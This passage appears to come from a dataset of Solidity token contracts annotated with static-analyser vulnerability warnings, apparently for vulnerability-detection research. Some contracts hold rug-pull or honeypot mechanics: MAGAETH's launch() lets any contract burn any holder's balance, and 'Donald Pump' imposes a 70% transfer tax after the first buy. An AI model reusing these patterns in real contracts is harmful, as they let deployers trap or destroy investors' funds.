{\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"MAGAETH\", unicode\"MAGAETH\", 9, 100000000) {}\n}\n", "file_name": "solidity_code_10344.sol", "size_bytes": 7153, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract testing is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a261d7c): testing._taxWallet should be immutable \n\t// Recommendation for a261d7c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3082a75): testing._initialBuyTax should be constant \n\t// Recommendation for 3082a75: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ab57a4): testing._initialSellTax should be constant \n\t// Recommendation for 0ab57a4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1fa69ae): testing._reduceBuyTaxAt should be constant \n\t// Recommendation for 1fa69ae: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e12666d): testing._reduceSellTaxAt should be constant \n\t// Recommendation for e12666d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb49cad): testing._preventSwapBefore should be constant \n\t// Recommendation for fb49cad: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"test\";\n\n string private constant _symbol = unicode\"test\";\n\n uint256 public _maxTxAmount = 10000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 81257c4): testing._taxSwapThreshold should be constant \n\t// Recommendation for 81257c4: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e2c5ad): testing._maxTaxSwap should be constant \n\t// Recommendation for 7e2c5ad: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bcbbae7): testing.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for bcbbae7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9b951d5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9b951d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e8ea2eb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e8ea2eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9b951d5\n\t\t// reentrancy-benign | ID: e8ea2eb\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9b951d5\n\t\t// reentrancy-benign | ID: e8ea2eb\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0964833): testing._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0964833: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e8ea2eb\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9b951d5\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f8e6e58): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f8e6e58: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f9a49f9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f9a49f9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f8e6e58\n\t\t\t\t// reentrancy-eth | ID: f9a49f9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f8e6e58\n\t\t\t\t\t// reentrancy-eth | ID: f9a49f9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f9a49f9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f9a49f9\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f9a49f9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f8e6e58\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f9a49f9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f9a49f9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f8e6e58\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f8e6e58\n\t\t// reentrancy-events | ID: 9b951d5\n\t\t// reentrancy-benign | ID: e8ea2eb\n\t\t// reentrancy-eth | ID: f9a49f9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8a6544b): testing.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8a6544b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f8e6e58\n\t\t// reentrancy-events | ID: 9b951d5\n\t\t// reentrancy-eth | ID: f9a49f9\n\t\t// arbitrary-send-eth | ID: 8a6544b\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dcd9f3a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dcd9f3a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bef2427): testing.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bef2427: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ca39bd2): testing.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ca39bd2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4e8c07d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4e8c07d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: dcd9f3a\n\t\t// reentrancy-eth | ID: 4e8c07d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: dcd9f3a\n\t\t// unused-return | ID: bef2427\n\t\t// reentrancy-eth | ID: 4e8c07d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: dcd9f3a\n\t\t// unused-return | ID: ca39bd2\n\t\t// reentrancy-eth | ID: 4e8c07d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: dcd9f3a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4e8c07d\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10345.sol", "size_bytes": 19492, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract don is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 119807e): don._taxWallet should be immutable \n\t// Recommendation for 119807e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 66c77ad): don._initialBuyTax should be constant \n\t// Recommendation for 66c77ad: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 300140d): don._initialSellTax should be constant \n\t// Recommendation for 300140d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d7f7e2c): don._reduceBuyTaxAt should be constant \n\t// Recommendation for d7f7e2c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e437305): don._reduceSellTaxAt should be constant \n\t// Recommendation for e437305: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 90747b8): don._preventSwapBefore should be constant \n\t// Recommendation for 90747b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Donald Pump\";\n\n string private constant _symbol = unicode\"PUMP\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b118445): don._taxSwapThreshold should be constant \n\t// Recommendation for b118445: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 00bdd5f): don._maxTaxSwap should be constant \n\t// Recommendation for 00bdd5f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 3000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e9fbd05): don.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e9fbd05: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a29a38b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a29a38b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 53c20a3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 53c20a3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a29a38b\n\t\t// reentrancy-benign | ID: 53c20a3\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a29a38b\n\t\t// reentrancy-benign | ID: 53c20a3\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f23b4fb): don._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f23b4fb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 53c20a3\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a29a38b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 29f6e77): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 29f6e77: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1f3c2d4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1f3c2d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == 